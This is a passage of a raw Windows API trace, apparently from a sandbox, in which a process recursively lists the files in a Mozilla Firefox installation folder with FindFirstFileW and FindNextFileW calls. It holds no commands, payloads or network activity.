FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a491400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9ea84660, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 0 [0258.426] FindClose (in: hFindFile=0x639708 | out: hFindFile=0x639708) returned 1 [0258.426] GetProcessHeap () returned 0x550000 [0258.426] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3700050 | out: hHeap=0x550000) returned 1 [0258.427] FindNextFileW (in: hFindFile=0x6396c8, lpFindFileData=0x2cef2a8 | out: lpFindFileData=0x2cef2a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaeef6000, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xdbec5a20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbec5a20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1 [0258.427] GetProcessHeap () returned 0x550000 [0258.427] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3700050 [0258.427] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Mozilla Firefox\\*", lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaeef6000, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xdbec5a20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbec5a20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639708 [0258.452] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaeef6000, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xdbec5a20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdbec5a20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.455] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef422c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef422c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x23996480, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x4e70, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessibleMarshal.dll", cAlternateFileName="ACCESS~1.DLL")) returned 1 [0258.455] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7c59b40, ftCreationTime.dwHighDateTime=0x1d55eda, ftLastAccessTime.dwLowDateTime=0xd4140a80, ftLastAccessTime.dwHighDateTime=0x1d57a3b, ftLastWriteTime.dwLowDateTime=0xd4140a80, ftLastWriteTime.dwHighDateTime=0x1d57a3b, nFileSizeHigh=0x0, nFileSizeLow=0x13a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accupos.exe", cAlternateFileName="")) returned 1 [0258.455] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef68420, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef68420, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x774f8200, ftLastWriteTime.dwHighDateTime=0x1ced1dd, nFileSizeHigh=0x0, nFileSizeLow=0x279, dwReserved0=0x0, dwReserved1=0x0, cFileName="application.ini", cAlternateFileName="APPLIC~1.INI")) returned 1 [0258.455] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaef68420, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaef68420, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2431fb00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x12670, dwReserved0=0x0, dwReserved1=0x0, cFileName="breakpadinjector.dll", cAlternateFileName="BREAKP~1.DLL")) returned 1 [0258.456] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaef68420, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf288100, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf288100, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="browser", cAlternateFileName="")) returned 1 [0258.456] GetProcessHeap () returned 0x550000 [0258.456] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0258.458] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Mozilla Firefox\\browser\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaef68420, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf288100, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf288100, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0258.553] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaef68420, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf288100, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf288100, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.553] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf23be40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4910680, ftLastWriteTime.dwHighDateTime=0x1ced1d0, nFileSizeHigh=0x0, nFileSizeLow=0x14623, dwReserved0=0x0, dwReserved1=0x0, cFileName="blocklist.xml", cAlternateFileName="BLOCKL~1.XML")) returned 1 [0258.553] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf261fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x132cbe00, ftLastWriteTime.dwHighDateTime=0x1ced1dd, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="chrome.manifest", cAlternateFileName="CHROME~1.MAN")) returned 1 [0258.553] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2fa520, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2fa520, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="components", cAlternateFileName="COMPON~1")) returned 1 [0258.553] GetProcessHeap () returned 0x550000 [0258.553] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0258.553] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Mozilla Firefox\\browser\\components\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2fa520, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2fa520, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0258.557] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2fa520, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2fa520, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.557] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2fa520, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2fa520, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x49bf0480, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x42870, dwReserved0=0x0, dwReserved1=0x0, cFileName="browsercomps.dll", cAlternateFileName="BROWSE~1.DLL")) returned 1 [0258.557] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2fa520, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2fa520, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x132cbe00, ftLastWriteTime.dwHighDateTime=0x1ced1dd, nFileSizeHigh=0x0, nFileSizeLow=0x22, dwReserved0=0x0, dwReserved1=0x0, cFileName="components.manifest", cAlternateFileName="COMPON~1.MAN")) returned 1 [0258.557] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2fa520, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2fa520, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x132cbe00, ftLastWriteTime.dwHighDateTime=0x1ced1dd, nFileSizeHigh=0x0, nFileSizeLow=0x22, dwReserved0=0x0, dwReserved1=0x0, cFileName="components.manifest", cAlternateFileName="COMPON~1.MAN")) returned 0 [0258.558] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0258.558] GetProcessHeap () returned 0x550000 [0258.558] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0258.558] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf261fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd9ee5100, ftLastWriteTime.dwHighDateTime=0x1ced1d0, nFileSizeHigh=0x0, nFileSizeLow=0x30f, dwReserved0=0x0, dwReserved1=0x0, cFileName="crashreporter-override.ini", cAlternateFileName="CRASHR~1.INI")) returned 1 [0258.558] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="extensions", cAlternateFileName="EXTENS~1")) returned 1 [0258.558] GetProcessHeap () returned 0x550000 [0258.558] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0258.558] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0258.576] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.576] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{972ce4c6-7e08-4474-a285-3208198ce6fd}", cAlternateFileName="{972CE~1")) returned 1 [0258.576] GetProcessHeap () returned 0x550000 [0258.576] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0258.577] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions\\{972ce4c6-7e08-4474-a285-3208198ce6fd}\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0258.580] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.580] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xdc50ab00, ftLastWriteTime.dwHighDateTime=0x1ced1d0, nFileSizeHigh=0x0, nFileSizeLow=0x889, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0258.580] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xe11b5c00, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0x54e, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.rdf", cAlternateFileName="")) returned 1 [0258.580] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xe11b5c00, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0x54e, dwReserved0=0x0, dwReserved1=0x0, cFileName="install.rdf", cAlternateFileName="")) returned 0 [0258.580] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0258.581] GetProcessHeap () returned 0x550000 [0258.581] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0258.581] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{972ce4c6-7e08-4474-a285-3208198ce6fd}", cAlternateFileName="{972CE~1")) returned 0 [0258.581] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0258.581] GetProcessHeap () returned 0x550000 [0258.581] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0258.582] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf261fa0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf261fa0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x57748a00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x44080e, dwReserved0=0x0, dwReserved1=0x0, cFileName="omni.ja", cAlternateFileName="")) returned 1 [0258.582] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf288100, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="searchplugins", cAlternateFileName="SEARCH~1")) returned 1 [0258.582] GetProcessHeap () returned 0x550000 [0258.582] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0258.583] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf288100, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0258.640] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf288100, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf2d43c0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.640] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf288100, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf288100, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4970380, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0x9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="amazondotcom.xml", cAlternateFileName="AMAZON~1.XML")) returned 1 [0258.641] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf288100, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf288100, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4970380, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0xb3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="bing.xml", cAlternateFileName="")) returned 1 [0258.642] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf288100, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf288100, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4970380, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0xa17, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBay.xml", cAlternateFileName="")) returned 1 [0258.642] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2ae260, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2ae260, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4970380, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0xb9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="google.xml", cAlternateFileName="")) returned 1 [0258.642] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2ae260, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2ae260, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4970380, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0xb91, dwReserved0=0x0, dwReserved1=0x0, cFileName="twitter.xml", cAlternateFileName="")) returned 1 [0258.642] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2ae260, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2ae260, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4970380, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0x8b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="wikipedia.xml", cAlternateFileName="WIKIPE~1.XML")) returned 1 [0258.642] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd52f9a00, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0xa73, dwReserved0=0x0, dwReserved1=0x0, cFileName="yahoo.xml", cAlternateFileName="")) returned 1 [0258.642] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2d43c0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2d43c0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd52f9a00, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0xa73, dwReserved0=0x0, dwReserved1=0x0, cFileName="yahoo.xml", cAlternateFileName="")) returned 0 [0258.642] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0258.644] GetProcessHeap () returned 0x550000 [0258.644] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0258.644] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf288100, ftCreationTime.dwHighDateTime=0x1d2dda4, 